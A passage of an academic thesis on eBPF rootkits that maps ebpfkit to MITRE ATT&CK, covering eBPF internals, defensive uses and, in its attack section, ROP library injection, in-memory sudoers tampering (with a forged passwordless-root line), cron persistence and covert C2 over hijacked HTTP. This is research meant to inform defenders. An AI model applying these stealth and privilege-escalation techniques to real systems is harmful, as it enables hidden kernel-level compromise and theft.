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Abstract

This thesis presents a qualitative and quantitative analysis of kernel-level threats enabled
by eBPF rootkits, structured through the MITRE ATT&CK framework. The extended
Berkeley Packet Filter (eBPF) technology has rapidly evolved into a cornerstone of
Linux systems, providing advanced capabilities for observability, networking, and security
enforcement. However, the same flexibility that makes eBPF powerful also creates
opportunities for malicious use, particularly in the development of rootkits that exploit
its deep integration with the kernel.

The research focuses on eBPF rootkits created for academic study, with ebpfkit chosen as
a representative case due to its broad coverage of modern attack scenarios. By mapping
its functionalities to relevant ATT&CK tactics, the study systematically characterizes the
behaviors and objectives of kernel-level malware built on eBPF. The qualitative analysis
highlights the overlap and adaptability of rootkit capabilities, while the quantitative
perspective reveals a strong emphasis on stealth and persistence compared to other
malicious goals. This analysis also identified limitations that constrain data collection;
this constraint was addressed through the design and implementation of complementary
hybrid collection tools utilizing a standardized development environment to achieve data
harvesting capabilities.

Ultimately, this work provides a structured understanding of how eBPF rootkits operate
and where their limitations lie. These insights contribute to improved threat modeling
and inform the design of more robust defensive strategies against the growing class of
kernel-level malware.

Source code: https://gitlab.cylab.be/z.mansouri/ebpf-collection-tools
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Chapter 1

Introduction

The rapid evolution of the extended Berkeley Packet Filter (eBPF) has transformed
the Linux ecosystem by enabling advanced observability, fine-grained security enforce-
ment, and high-performance networking. Originally introduced as a packet filtering
mechanism, eBPF has since become a powerful general-purpose technology, allowing
developers to execute programs directly in the kernel without modifying its source code.
While these capabilities have brought significant benefits, they have also expanded the
attack surface of modern operating systems. Adversaries are increasingly exploiting eBPF
to build rootkits that achieve stealth, persistence, and privileged control at the kernel level.

The motivation for this research arises from several critical observations. First, unlike
traditional Linux Kernel Modules (LKMs), eBPF programs are frequently enabled by
default on modern systems, making them a more attractive target for abuse. Second,
the number of reported Common Vulnerabilities and Exposures (CVE) associated with
BPF and eBPF has risen significantly since 2021, reflecting growing concerns about their
security implications. Third, researchers and attackers alike have demonstrated how eBPF
can be used in post-exploitation scenarios to inject rootkits into compromised systems,
with malicious projects emerging that explicitly leverage eBPF’s unique capabilities.
Finally, existing categorizations in the MITRE ATT&CK framework do not fully capture
the flexibility of modern eBPF rootkits. While they are currently described primarily
under the Defense Evasion tactic (via T1014), their programmability enables them to
support multiple adversarial objectives across diverse tactics. These factors highlight the
need for a deeper understanding of kernel-level threats facilitated by eBPF.

This thesis seeks to address this gap by systematically characterizing eBPF-based rootkits
within the ATT&CK framework. The study focuses on research-developed rootkits,
selecting ebpfkit as the primary case study due to its breadth of attack capabilities. The
research contributes to the field in three main ways.

The first contribution of this thesis is the systematic characterization of eBPF rootkits
using the MITRE ATT&CK framework. While rootkits are traditionally classified under
Defense Evasion, this categorization does not capture the broad operational scope of
modern eBPF-based threats. By mapping ebpfkit to multiple tactics, the research provides
a structured understanding of how such rootkits operate across Persistence, Privilege
Escalation, Defense Evasion, Credential access, Collection, and Command & Control.

A second contribution comes from the analysis of technique gaps. While ebpfkit demon-
strates a wide range of malicious behaviors, it does not employ all possible ATT&CK
techniques. The absence of certain techniques, particularly in advanced data collection,
reflects both architectural limitations of eBPF and choices made in rootkit design. Iden-
tifying these gaps not only clarifies current boundaries but also points toward potential

directions for future attacker innovation.



Finally, this thesis advances threat modeling and defensive strategies by integrating
qualitative mapping with quantitative frequency analysis. The results indicate that
Defense Evasion, Persistence, and Privilege Escalation are the predominant techniques
employed in the design of eBPF rootkits, whereas Data Collection appears comparatively
underrepresented. Building on these findings, the limitations of eBPF as a data collection
mechanism are addressed through a detailed methodology and the establishment of
a standardized development environment (leveraging Vagrant and Ansible). Within
this framework, a hybrid architecture was implemented to incorporate complementary
collection tools. While attempts at webcam capture proved unsuccessful, the integration
of keylogging was achieved, thereby partially bridging the capability gap encountered in
complex data harvesting.

The remainder of this document is organized as follows. Chapter 2 presents a review
of the state of the art, covering the evolution, runtime, security properties, and attack
vectors of eBPF | as well as rootkits in general and detection methods specific to eBPF-
based threats. It also introduces Vagrant and Ansible as supporting tools, and details the
MITRE ATT&CK framework as the analytical foundation of this work. Chapter 3 outlines
the feature selection process, methodology, and analysis of ebpfkit’s capabilities, including
both a qualitative mapping of adversarial behaviors and a quantitative evaluation of tactic
frequency. Chapter 4 describes the implementation challenges encountered when develop-
ing complementary collection tools, detailing the methodology, standardized environment
setup (including Vagrant and Ansible), and the design of hybrid features, such as Webcam
Capture and Keylogging, aimed at overcoming the limitations of eBPF in complex data
collection. Chapter 6 proposes future work on the topic and chapter 5 concludes the thesis.
Finally, the Appendices provide a detailed reference mapping between MITRE ATT&CK
techniques and ebpfkit, supporting the qualitative analysis with comprehensive data, and
Appendix B provides the technical details of the standardized development environment,
including the full Vagrant configuration (Vagrantfile) and the Makefile used for building
and packaging eBPF programs with Clang and bpftool.



Chapter 2
Literature review (SotA)

2.1 eBPF

2.1.1 History and Motivation

As stated in [63, pp. 1-3], the extended Berkeley Packet Filter (eBPF) is a kernel technology
that allows to implement kernel code features such as performance tracing of pretty much
any aspect of a system, high-performance networking with built-in visibility, detection
of malicious activity, prevention, and other related capabilities. eBPF builds upon the
concepts introduced in 1993 inside the Berkeley Software Distribution (BSD) Packet Filter
paper [58|, which describes a pseudo-machine designed to execute programs (filters) that
assess network packets to decide whether they should be accepted or rejected, and it
was introduced to the Linux kernel version 2.1.75 in 1997. These filters were originally
written using the BPF instruction set, a 32-bit architecture that closely mirrors assembly
language. BPF was first integrated into Linux for use in the tcpdump 28] utility, providing
an efficient mechanism for capturing packets intended for tracing. eBPF, introduced in the

Linux kernel version 3.18, brought major improvements:

e A redesigned BPF instruction set optimized for 64-bit systems.

eBPF maps for data sharing between programs and user space.

The bpf () system call for user space interaction with eBPF.

New BPF helper functions to extend capabilities.

An eBPF verifier ensuring program safety.

The eBPF technology enhances Linux with efficient observability, security enforcement,
and networking, enabling dynamic program execution without kernel changes. eBPF
programs can be developed using high-level languages such as C, Rust, etc. or directly
in eBPF assembly format [9]. After compilation, the eBPF program is converted into
bytecode, which can then be loaded into the Linux kernel via the bpf () system call [59].

The main purpose of eBPF is to add new features to the kernel without requiring to
be a kernel developer nor having a high level of familiarity with that code. In addition
to that, all kernel modifications follow a strict chain of acceptance and integration that
includes [63, pp. 7-9]:

o Writing code that works and serves general-purpose needs.
e Gaining acceptance from the community (more specifically from Linus Torvalds).
e Waiting for inclusion in an official kernel release (every 2-3 months).

e Waiting (common) distributions to adopt the new kernel.



On the other hand, Linux Kernel Modules also exist. Although these provide a method
to extend or alter kernel behavior without passing through the official acceptance process,
they still demand comprehensive kernel programming expertise. Modules can be dis-
tributed independently of the mainline kernel, but they come with significant risk: a faulty
module can crash the entire system. This makes users understandably cautious about
adopting them. In addition to concerns about crashes, users also worry about the security
of LKMs, since they run with full system privileges and could contain vulnerabilities
or malicious code. This high level of risk is one reason why Linux distributions delay
adopting new kernel versions, they rely on extended real-world testing to ensure the kernel
is stable and secure. In contrast, eBPF introduces a safer model through its built-in
verifier, which checks programs for safety before they’re allowed to run, reducing the risk
of system crashes or data exposure. According to [49, pp. 89|, the eBPF verifier ensures
program safety by checking for issues like memory access errors, ensuring that memory is
properly managed, and preventing type mismatches. It makes sure that resources such
as memory and locks are released when no longer needed. The verifier also protects
against accidental exposure of kernel data to the user space and prevents the use of
uninitialized memory. It helps avoid conflicts in how the program interacts with the kernel
by enforcing proper synchronization and ensuring the program doesn’t run into infinite
loops. Additionally, it prevents deadlocks by limiting how locks are handled and ensures
that the program adheres to the kernel’s rules, keeping the system stable.

In summary, eBPF is a runtime that allows users to safely and efficiently load programs into
the operating system kernel, and execute them inside that kernel. These programs are ver-
ified before execution to ensure safety, preventing crashes or security issues. By embedding
a secure virtual machine within the kernel, e BPF enables dynamic kernel programmability,
allowing users to iterate quickly and tailor behavior to their needs, all without bypassing
or replacing the kernel, but rather by working in accordance with it [49, p. 1].

2.1.2 eBPF Runtime

An eBPF runtime consists of the components needed to implement the eBPF virtual
machine on a specific OS or hardware. In Linux, the kernel’s eBPF subsystem provides
this runtime and exposes it via a system call interface. The main components of the eBPF
ecosystem are outlined below [49, pp. 3-5]. Figure 2.1 illustrates the architecture behind
how a program is loaded, verified, attached in the kernel and the interactions between the
user and kernel spaces at runtime.

The eBPF Bytecode is a set of eBPF instructions used to encode eBPF programs.

The eBPF Userspace Loader is used to load the program bytecode into the kernel
using the BPF_PROG_LOAD system and manage eBPF maps, returning a file descriptor of
the loaded program which can then be used to attach it to specific kernel hooks. Common
loaders are BCC [18], bpftrace [13] and 1ibbpf [22].

The eBPF Verifier examines the bytecode before it is loaded into the kernel, ensuring
that eBPF safety properties are upheld and that program loading cannot compromise the
kernel’s integrity or stability. Ensuring the safety of eBPF programs requires enforcing
multiple constraints on both the eBPF instruction set and the program’s state. These
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Figure 2.1: eBPF Loader and Verification Architecture, based on https://ebpf.io/
static/1albb6f1e64b1ad5597£57dc17c£1350/6516f/go.png

restrictions prevent Turing completeness and include limitations such as:

Loops must be bounded: previously prohibited, but now allowed with verifiable
induction variables (Linux 5.3).

Stack space is limited: each BPF program gets a maximum of 512 bytes.

Memory access must be checked: programs must verify array bounds before accessing

memory.
Restricted kernel helper access: use of kernel helper functions is tightly controlled.

Instruction count capped: programs can have up to 1 million instructions (raised
from 4096 in Linux 5.1).

The eBPF Just-In-Time (JIT) Compiler and Interpreter translates verified eBPF
bytecode into native machine instructions for efficient execution. If the JIT compiler is

disabled or unsupported, the eBPF interpreter executes the bytecode directly by decoding

and running it at runtime.

The eBPF Hooks are predefined points in the kernel or user applications where eBPF

programs can be attached and executed in response to specific events, such as system calls,

function entries and exits, or network activity. Based on the program type, eBPF programs

are linked to the appropriate hook. When existing hooks are insufficient, developers can

define custom ones using kprobes or uprobes, enabling attachment to nearly any location

in the kernel or user space. Here is the description of a few of those hook points:

Socket Filters: The original use case for classic BPF, socket filters attach to a
socket to inspect and filter incoming traffic. This packet filtering capability remains

a core feature of modern eBPF.
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e Kprobes, Uprobes, and Tracepoints: eBPF programs can attach to kernel probes
(kprobes), user-space probes (uprobes), or predefined tracepoints. These allow mon-
itoring of function calls and system state at specific execution points in the kernel or
user space.

e Express Data Path (XDP): XDP attaches very early in the packet-processing
pipeline for high-performance tasks like Distributed Denial of Service (DDoS) miti-
gation and packet redirection. It only processes incoming (ingress) packets.

e Traffic Control (TC): TC programs run later in the networking stack than XDP
and can handle both ingress and egress traffic. They provide more context about the
packet, making them useful for more detailed analysis and control.

The eBPF Program Types, defined by BPF_PROG_TYPE in the bpf () syscall, categorize
eBPF programs based on their function, input parameters, actions, and attachment
points within the kernel. Each program type is characterized by its specific behavior
and interaction with the system. For example, the BPF_PROG_TYPE_SOCKET_FILTER
program type is used to examine and manage network packets at the socket level,
allowing developers to implement custom logic for analyzing and modifying packets.
These program types and their corresponding attach points are defined in the kernel
codebase, providing a foundation for creating eBPF programs tailored to different use cases.

The eBPF Helpers are functions that allow eBPF programs to interact with the system,
performing tasks like debugging, retrieving system data, and manipulating network
packets. Each program type has access to a relevant subset of helpers, depending on its
needs.

The eBPF Maps are a data structure, like an array or hash map, that enables data
exchange between user space and the kernel. eBPF programs access these maps through
platform-specific load instructions. In Listing 1, BPF_MAP_TYPE_HASH defines a standard
hash table; the key is the process ID (u32), the value is the count of execve calls (u64);
max_entries = 1024 limits tracking to 1024 PIDs; the map is stored in kernel memory
and globally accessible to the eBPF program.

struct {
__uint (type, BPF_MAP_TYPE_HASH);
__type(key, u32); // process ID (pid)
__type(value, u64); // syscall counter

__uint (max_entries, 1024);
} syscall_counter SEC(".maps");

Listing 1: Hash map example in an eBPF program for tracking the number of syscalls per
process 1D

2.1.3 Minimal eBPF Program Illustration

To complement the conceptual overview of the eBPF architecture, the following Python
example demonstrates how a minimal eBPF program can be loaded and attached to a



kernel hook using the bcc framework. The program defines a simple eBPF function that
returns zero and attaches it to the execve syscall via a kprobe. This illustrates the basic
workflow of deploying an eBPF program from user space without involving maps, perf
buffers, or custom logic. Listing 2 shows the complete code.

from bcc import BPF

# Define a minimal eBPF program

prog = nnn
int hello(void *ctx) {

return O;

3

nnn

# Load and attach the program to execve
b = BPF(text=prog)
b.attach_kprobe(event="__x64_sys_execve", fn_name="hello")

print ("eBPF program attached to execve")

Listing 2: Minimal Python program using bcc to load and attach an eBPF program to
execve

This example highlights the simplicity and expressiveness of the bcc framework, which
abstracts away the low-level details of interacting with the bpf () syscall directly. By
specifying the program text and target kernel function, developers can quickly prototype
and deploy eBPF logic. The use of attach_kprobe binds the eBPF program to a specific
kernel event, enabling lightweight instrumentation and observability from user space.

Listing 3 presents the commands used to run the example program with system call
tracing enabled, along with the resulting strace output demonstrating interactions with
the kernel’s bpf () syscall interface.

sudo strace -e trace=bpf -s 256 python3 minimal_ebpf.py

bpf (BPF_BTF_LOAD, {btf="...binary data...", btf_log_buf=NULL,
btf_size=2840, btf_log_size=0, btf_log_level=0}, 128) = 3

bpf (BPF_PROG_LOAD, {prog_type=BPF_PROG_TYPE_KPROBE, insn_cnt=2,
insns=0x7f8ebf8eeab8, license="GPL", log_level=0, log_size=0,
log_buf=NULL, kern_version=KERNEL_VERSION(5, 15, 185),
prog_flags=0, prog_name="hello", prog_ifindex=0,
expected_attach_type=BPF_CGROUP_INET_INGRESS, prog_btf_f£fd=3,
func_info_rec_size=8, func_info=0x5647829a3f30, func_info_cnt=1,

line_info_rec_size=16, line_info=0x5647829c4340, line_info_cnt

=1, attach_btf_id=0, attach_prog_£fd=0, fd_array=NULL}, 128) = 4

Listing 3: Sample strace output showing the bpf () syscalls for BPF_BTF_LOAD and
BPF_PROG_LOAD during eBPF program loading




The bpf () syscall is invoked twice in sequence to support loading the eBPF program:

e BPF_BTF_LOAD [35|: This command loads BPF Type Format (BTF) metadata into
the kernel, which encodes debug and type information to support enhanced eBPF
program verification and introspection.

— The btf field contains raw BTF binary data uploaded from user space.
— btf_size indicates the size of this BTF data blob.

— Successful completion returns a file descriptor (here, 3) that is used to reference
this BTF info in subsequent calls.

e BPF_PROG_LOAD [36]: This command loads the actual eBPF program bytecode into
the kernel.

— Parameters specify the program type (BPF_PROG_TYPE_KPROBE), number of in-
structions, license string (GPL), kernel version, and other metadata.

— The prog_btf_fd field links to the previously loaded BTF info (fd 3).

— Upon successful loading, the syscall returns a file descriptor (here, 4) represent-
ing the loaded eBPF program object.

This interaction exemplifies the multi-step process involved in deploying an eBPF pro-
gram with enhanced debugging metadata, demonstrating how user space and kernel space
collaborate through the bpf () syscall interface for program verification and management.

2.1.4 eBPF Security

As of May 2025, a total of 305 CVE have been identified with the BPF tag, including 48
CVEs explicitly linked to eBPF [5] [6]. The data presented in Figure 2.2 illustrates the
yearly progression of these vulnerabilities, highlighting a noticeable increase since 2021,
especially for BPF. This trend suggests a growing focus on security concerns related to
eBPF, potentially driven by its expanding adoption and integration within various system
architectures.
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Figure 2.2: Number of CVEs related to BPF and eBPF from 2007 to May 2025

As noted in [59], in 2023, the majority of vulnerabilities were identified in the eBPF
verifier. Other affected components include the eBPF helper functions, the eBPF core,



and the eBPF JIT compilation, which also exhibited security concerns, to a lesser extent.
Additionally, a miscellaneous category exists, gathering vulnerabilities that do not strictly
fall into the already mentioned classifications but still pose security risks.

As a crucial security component of the eBPF runtime, the verifier plays a key role in
maintaining system integrity. However, like any software, it is not immune to vulner-
abilities that could threaten the security of the entire kernel. These flaws create the
possibility for programs considered valid by the verifier to still exploit the system, leading
to threats such as privilege escalation and denial of service attacks (e.g., CVE-2016-4557,
CVE-2021-3490).  Addressing these risks requires ongoing refinement of verification
mechanisms and strengthened security auditing to ensure robust protection against
potential exploits. Identified vulnerabilities include flaws in Arithmetic Logic Unit (ALU)
range tracking, where the verifier miscalculates register value ranges, leading to invalid
pointer arithmetic and improper memory access. These weaknesses can be exploited to
bypass security checks, enabling unauthorized access or modification of sensitive data.
Additionally, other vulnerabilities, such as integer overflow and improper input validation,
further contribute to potential security risks within the eBPF runtime [59].

Several fuzzing tools have been developed for finding those vulnerabilities. Fuzzing is a
software testing technique, consisting into finding implementation bugs using malformed
and semi-malformed data injection in an automated fashion [11]. Companies such as
Google provide tools like buzzer [14], IO Visor offers bpf-fuzzer [19] while there are also
independent developers contributing to this effort with tools like ebpf-fuzzer [25] or in
research like in [59].

2.1.5 Defense with eBPF

Several well-known high-tech companies use eBPF for networking, security, and observ-
ability. Here are some examples [§]:

o Google uses eBPF for security auditing, packet processing, and performance moni-
toring.

e Netflix leverages eBPF at scale for network insights and observability.

e Cloudflare employs eBPF for network security, performance monitoring, and traffic
analysis.

e Microsoft uses eBPF to enhance observability and inspection of processes within

Kubernetes.
e Meta utilizes eBPF for packet processing and load balancing in its data centers.
e Apple implements eBPF through Falco for kernel security monitoring.
e Red Hat uses eBPF for load balancing and tracing in cloud environments.

e Alibaba integrates eBPF through Cilium for networking in its cloud infrastructure.

These companies, and many more (such as Bell, Samsung, yahoo!, etc.) also rely on
eBPF to improve security, monitoring, and performance across their systems. Indeed,
eBPF serves a vital role in security defenses, offering diverse use cases, some of them listed
hereunder.



2.1.5.1 Network Security Monitoring

A clear pattern emerged from [46], highlighting that current research in eBPF for security
is primarily centered on networking stack security and network-based data collection. This
seems related to the fact that BPF was primarily a networking technology used for packet
introspection. eBPF improves real-time network security by enabling efficient packet
inspection and traffic filtering with minimal performance impact. The XDP program type
allows direct memory access, bypassing the traditional kernel network stack for faster
processing. This makes it ideal for high-performance intrusion detection systems and
effective DDoS mitigation.

By analyzing metadata and payloads in real time, it is possible to identify anomalies that
could indicate threats such as DDoS attacks, unauthorized access, or data exfiltration,
strengthening overall network protection [10]. Tools like Cilium integrate eBPF within
Kubernetes to provide advanced security and observability [30]. Additionally, eBPF TC
classifiers allow the Linux kernel to apply filters and shape network traffic at both ingress
and egress stages [1] [47]. Furthermore, as previously mentioned, BPF filters in tcpdump are
executed using eBPF machine code, improving packet filtering efficiency within network
traffic analysis.

2.1.5.2 Application Layer Security

eBPF has a wide range of capabilities related to system introspection and improves
security by allowing fine-grained monitoring and control over system calls and internal
process behavior. It enables enforcement of custom security policies to block unauthorized
access to sensitive resources, and can be used to observe inter-process communication and
runtime application activity, helping detect or prevent the exploitation of vulnerabili-
ties [10]. System introspection enables the collection of data about the system’s current
state, which can be used to detect policy violations, enforce existing policies, and even
develop or refine new ones [46].

More than being a system-wide, production-safe and efficient technology, eBPF combines
features of other analogous tools such as ptrace, ftrace, kernel modules, performance
events, netfilter [33], etc. and makes observable both user-space and kernel-space func-
tions, along library and system calls, but also sockets, packets, registers and hardware
performance counters. The enhanced observability provided by eBPF offers system ad-
ministrators the option to write tools to monitor various security-sensitive operations on
the system, such as execve calls, privilege escalation, permission errors on system calls, or
even the usage of POSIX capabilities [46].

2.1.5.3 Intrusion Detection and Prevention

eBPF can provide safe and efficient means of data collection for intrusion detection systems,
as seen in the previous paragraphs about network and application security monitoring.
eBPF streamlines intrusion detection and prevention by enabling real-time monitoring at
the kernel level, allowing threats to be identified and blocked more quickly than with
traditional methods. It also supports adaptive defenses by continuously analyzing system
activity and updating security policies in response to emerging threats [10].
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2.1.5.4 Malware Analysis

eBPF aids malware analysis by dynamically tracking kernel-level code execution, revealing
malicious behavior patterns and infection vectors. It helps correlate system events and
detect anomalies often missed by traditional antivirus tools, improving reverse engineering
and the development of targeted mitigations [10].

2.1.5.5 Scaling Runtime Security

eBPF enables scalable, real-time runtime security by embedding lightweight monitoring
directly into the Linux kernel. It offers granular visibility into system activity such as file
I/0, networking, and inter-process communication without altering kernel code. Compared
to user-space probes, eBPF provides efficient, low-overhead monitoring. Recent innovations
even extend its reach into managed runtimes like Python and Go, allowing deep application-
level insights. This blend of performance and flexibility makes eBPF a powerful tool for
dynamic threat detection and mitigation in high-performance environments [10].

2.1.5.6 Container Security

eBPF is use in several key areas to secure containers.

Syscall Tracing: It helps detect suspicious activities by monitoring system calls originating
from containers. For example, glsebpf can trace execve syscalls to identify unexpected
process executions within a container, a common sign of compromise, or monitor open,
read, and write syscalls to flag unauthorized file access by container processes [60] [32].

Network Security: eBPF-based tools, like Cilium [30], can insert programs into the Linux
networking stack to capture and inspect packets as they enter or leave containers. This
facilitates fine-grained policy enforcement, deep packet inspection, and dynamic network
segmentation for container traffic. It also enables organizations to implement firewall
functionality directly within eBPF, enforcing security policies based on dynamic factors
like workload IDs or container labels [60] [32].

File Integrity Monitoring (FIM): By attaching probes to file operation syscalls, eBPF
helps security teams detect modifications to sensitive configuration files or binaries inside
containers, crucial for identifying runtime tampering attempts [32].

Furthermore, eBPF’s integration with orchestration platforms like Kubernetes is crucial
for container security. It enables identity-based security policies and behavioral anomaly
detection by correlating low-level kernel events with high-level container metadata, such
as pod names and namespaces [32]. This allows for real-time policy enforcement, where
eBPF programs can act on live kernel events to block or alert on violations instantly, such
as terminating a container process attempting unauthorized operations [60] [32]. eBPF
also supports Policy as Code (PaC), allowing security rules for container clusters to be
defined as code and automatically deployed [32|. This in-kernel operation, combined with
JIT compilation, ensures minimal performance overhead while securing high-throughput

Kubernetes environments [60] [32].
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2.1.5.7 Data Exfiltration Prevention

Data exfiltration, the unauthorized transfer of sensitive information from a server to unap-
proved destinations, poses a critical security risk to organizations. Traditional static secu-
rity tools, such as iptables, prove inefficient and brittle when policies frequently change
or must be applied across extensive server fleets. In response, eBPF offers a dynamic and
robust solution, enabling the implementation of adaptive security policies directly within
the operating system’s core. This capability is essential for safeguarding data even if an
attacker gains initial access, providing a flexible defense against evolving threats. eBPF
facilitates the use of specialized data structures within the kernel, which can be dynami-
cally updated by separate user-level programs. This enables security policies, like lists of
forbidden IP addresses, to be modified in real-time without system restarts. To prevent
data exfiltration, an eBPF program is strategically placed at the point where network con-
nections are initiated. Whenever a process attempts to establish an outgoing connection,
the eBPF program is invoked. It then consults a dynamically updated list of unauthorized
network destinations stored within the kernel. If the connection’s target address matches
an entry on this forbidden list, the eBPF program immediately blocks the connection,
thereby preventing any sensitive data from being transmitted to unapproved external lo-
cations. This real-time enforcement, managed by an external program, ensures continuous
protection [65].

2.1.5.8 Ransomware Detection

ebpfangel is a sophisticated ransomware detection system for Linux that integrates
eBPF with machine learning for real-time monitoring [26]. It operates by strategically
attaching eBPF programs to key system calls and user-space functions within the kernel
and applications. This allows for fine-grained visibility into critical operations com-
monly performed by ransomware. For instance, ebpfangel monitors open() /openat ()
and unlink() /unlinkat() to detect file access, modification, and deletion during
encryption or spoliation. It also hooks into crypto-related shared library functions like
EVP_EncryptInit_ex to identify when encryption is initiated. This kernel-level approach
ensures low overhead and efficient filtering of irrelevant events directly within the kernel,
optimizing performance and reducing data sent for user-space analysis. The system
benefits from eBPF’s inherent security, as code is verified and runs in a dedicated virtual
machine, contributing to stability and a robust security boundary. As an open-source
solution, ebpfangel fosters transparency and community collaboration in combating
ransomware [64].

The events captured by these eBPF programs are transmitted to a user-space Machine
Learning (ML) pipeline. This pipeline processes the data, focusing on specific patterns of
file operations as crucial features for distinguishing ransomware behavior. The most vital
patterns identified are Open, Create, Open (OCO), Create, Open, Create (COC), and
Create, Open, Open (COO), along with the frequency and intensity of file deletion opera-
tions (D sum and D max). Using supervised ML algorithms like Support Vector Machines
(SVM), ebpfangel classifies processes as either ransomware or benign. In experimental
evaluations, ebpfangel demonstrated a True Positive Rate (Recall) of 100%, achieving
zero false negatives, meaning no ransomware instances were misclassified as benign. This
precise and efficient classification, driven by the synergy of low-level eBPF monitoring and
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intelligent ML analysis, is how ebpfangel effectively helps against ransomware [64].

2.1.6 Attacks with eBPF

A post-exploitation scenario is explored in [62], where eBPF is leveraged to inject a rootkit
into a compromised system. Following a detailed breakdown of each step involved in this
attack, the discussion will extend to container security vulnerabilities in the cloud and
associated with eBPF, illustrated through practical examples based on [51].

2.1.6.1 Library Injection

One of the offensive capabilities enabled by eBPF is the ability to inject arbitrary code
into a user process, referred to as library injection. This technique, inspired by Jeff Dileo’s
work presented at DEFCON 27 [45], relies on return-oriented programming (ROP) to
redirect control flow within a compromised user-space process using an eBPF tracing
program attached to a system call.

The process begins with the attacker selecting a target shared library commonly loaded
in memory, such as glibc. This library provides useful gadgets (code snippets ending in
a return instruction) and dynamic linking functions like dlopen(3), which is used to load
additional shared libraries at runtime.The attacker then:

1. Scans for suitable Return-oriented Programming (ROP) gadgets within the target
library.

2. Constructs a ROP chain manually or via an automated tool.

3. Attaches an eBPF program (using a kprobe) to a frequently-invoked system call
within the target process.

4. Inside the eBPF kprobe, extracts the original instruction pointer (IP) from the kprobe
context.

5. Uses the IP to compute the base address of the library from which to build the ROP
chain.

If dynamic payload generation is used, the attacker employs stack skimming to search for
a return address corresponding to a known Procedure Linkage Table (PLT) stub:

e The eBPF program scans the user-space stack for values that could be valid return
addresses into the text section.

e It confirms that the address corresponds to a function call and parses PLT instruc-
tions to identify library entry points.

e With the base address identified, the attacker computes gadget offsets and writes the
ROP chain into the stack at the correct location.

After backing up the affected stack region to avoid process crashes, the eBPF program can
overwrite the return address so that, when the system call returns, execution jumps into
the injected ROP chain. This results in execution of arbitrary code, such as dynamically
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loading and executing a malicious shared library.

To maintain stealth, the attacker can also use a secondary eBPF program (e.g., attached
to sys_close()) to remove the ROP code and restore the stack after execution completes.
This method enables arbitrary code execution without writing to disk, modifying binaries,
or injecting kernel modules, making it highly evasive and effective for advanced persistent
threats.

2.1.6.2 Privilege Escalation

Privilege escalation with eBPF can be achieved by tampering with system calls
and modifying user-space memory through eBPF helper functions, most notably
bpf_probe_write_user(), in combination with eBPF tracepoints attached to system calls.
A typical example targets the sudo process, which reads the /etc/sudoers file to determine
which users have administrative privileges. The attack works as follows:

1. Hooking System Calls. The attacker attaches eBPF programs to tracepoints such
as sys_enter_openat, sys_exit_openat, sys_enter_read, and sys_exit_read.
These hooks allow the eBPF program to monitor and modify calls made by the
sudo process when accessing the /etc/sudoers file.

2. Intercepting sudoers Content. Once sudo opens and begins reading the
/etc/sudoers file, the eBPF program captures the output buffer.

3. Injecting Forged Content. Using bpf_probe_write_user, the eBPF program over-
writes the memory buffer read by sudo, injecting a line such as:

lowpriv ALL=(ALL:ALL) NOPASSWD:ALL #

This line grants full passwordless root access to the user lowpriv.

This technique exploits the fact that many system call parameters, particularly buffers,
are marked as __user, meaning they reside in user space and can be legally modified using
eBPF helper functions.

2.1.6.3 Stealthiness

A key aspect of this privilege escalation technique is its stealth. The modification to the
/etc/sudoers file exists only in memory and is never written to disk. Tools such as cat,
vim, or even filesystem integrity checkers will show the original, unaltered file content. As
a result, the attack remains invisible to standard auditing tools and filesystem monitors.
This in-memory manipulation allows an attacker to gain root privileges without leaving any
persistent trace, showcasing how eBPF-based rootkits can perform highly evasive privilege

escalations in Linux systems.

2.1.6.4 Persistence Techniques

Although eBPF programs do not survive reboots by default, attackers can achieve persis-
tence using traditional Linux mechanisms. A common technique involves writing a cron job
that re-injects the eBPF program every minute. This can be placed in /etc/cron.d/ with
root privileges, executing a script (called launch_rootkit.sh in the scenario) that checks
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and installs the rootkit as needed. By using cron in conjunction with eBPF’s capabilities
for stealth and privilege escalation, the attacker can ensure the rootkit is reloaded contin-
uously without raising immediate suspicion. While not inherently part of eBPF itself, this
persistence mechanism integrates seamlessly into an eBPF-based attack chain [62].

2.1.6.5 C2 Capabilities

C2 functionality in an eBPF-based rootkit can be achieved by leveraging the network
interception capabilities of XDP and TC programs. Due to limitations in the eBPF
architecture, such as the inability to initiate connections or open ports directly, the
approach relies on hijacking existing network flows.

To conceptualize this, the authors present a setup involving a web application behind an
Amazon Web Services Classic Load Balancer. The Load Balancer performs Transport
Layer Security (TLS) termination and redirects HTTPS traffic to an infected backend
server via unencrypted HTTP. This downgrade allows eBPF programs to inspect and
manipulate packets at the kernel level.

Incoming Commands. An XDP program is attached at the ingress interface of
the infected server. The attacker sends crafted HTTPS requests containing a custom
route (e.g., /evil_route) and a specially crafted User-Agent string holding command
arguments. These requests are downgraded to HTTP by the Load Balancer and then
parsed by the XDP program. If the request matches the malicious pattern, the program
extracts the command and executes it. To avoid detection by user-space monitoring
tools, the eBPF program rewrites the request payload before passing it to the web server,
replacing it with a benign request (e.g., for the homepage).

Outgoing Responses. For command output and data exfiltration, a TC eBPF program
is attached at the egress interface. It modifies the HT'TP response before it leaves the
host. For instance, the attacker might request the contents of /etc/passwd, and the TC
program rewrites the response body with the actual file contents.

Stealth and Flexibility. Since the communication occurs within legitimate HTTP
traffic, using real web requests and responses, the backdoor is extremely stealthy. It can
also be extended to other plaintext protocols, such as DNS, enhancing its versatility.

This technique enables full duplex communication between the attacker and the rootkit
without opening new network ports or writing any files to disk, avoiding most traditional
detection mechanisms.

2.1.6.6 Container Security

As presented in the USENIX Security Symposium in 2023 [51|, eBPF has become a
key technology in cloud-native environments, enabling advanced performance profiling,
network management, and security monitoring tools such as Cilium, Calico, and Falco.
However, the risks associated with eBPF use, especially in containerized environments,

have not received sufficient attention.
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Although eBPF programs require the CAP_SYS_ADMIN Linux capability (privilege), which
is typically restricted in containers, over 2.5% of Docker Hub images have this permission.
Misconfigurations, such as using the --privileged flag, --cap-add=SYS_ADMIN, or
mounting the Docker socket, can inadvertently expose the host to eBPF-based attacks.
Some containers also include host-monitoring tools or debugging utilities that require
elevated privileges.

Once enabled, attackers can leverage eBPF tracing tools like kprobe to perform stealthy
container escapes and gain control over entire Kubernetes clusters. These attacks may
be launched via supply chain compromises or remote code execution vulnerabilities
(e.g., Logdj), bypassing existing protections such as Seccomp, AppArmor, SELinux, and
kernel hardening mechanisms like Supervisor Mode Execution Prevention (SMEP) and
Supervisor Mode Access Prevention (SMAP). SMEP prevents the kernel from executing
code located in user-space memory. This helps mitigate exploits where an attacker injects
malicious code into user-space and tricks the kernel into executing it. SMAP extends
this protection by preventing the kernel from reading or writing user-space memory
unless explicitly allowed. This reduces the risk of privilege escalation attacks that rely on
manipulating kernel memory.

Offensive capabilities of eBPF include:

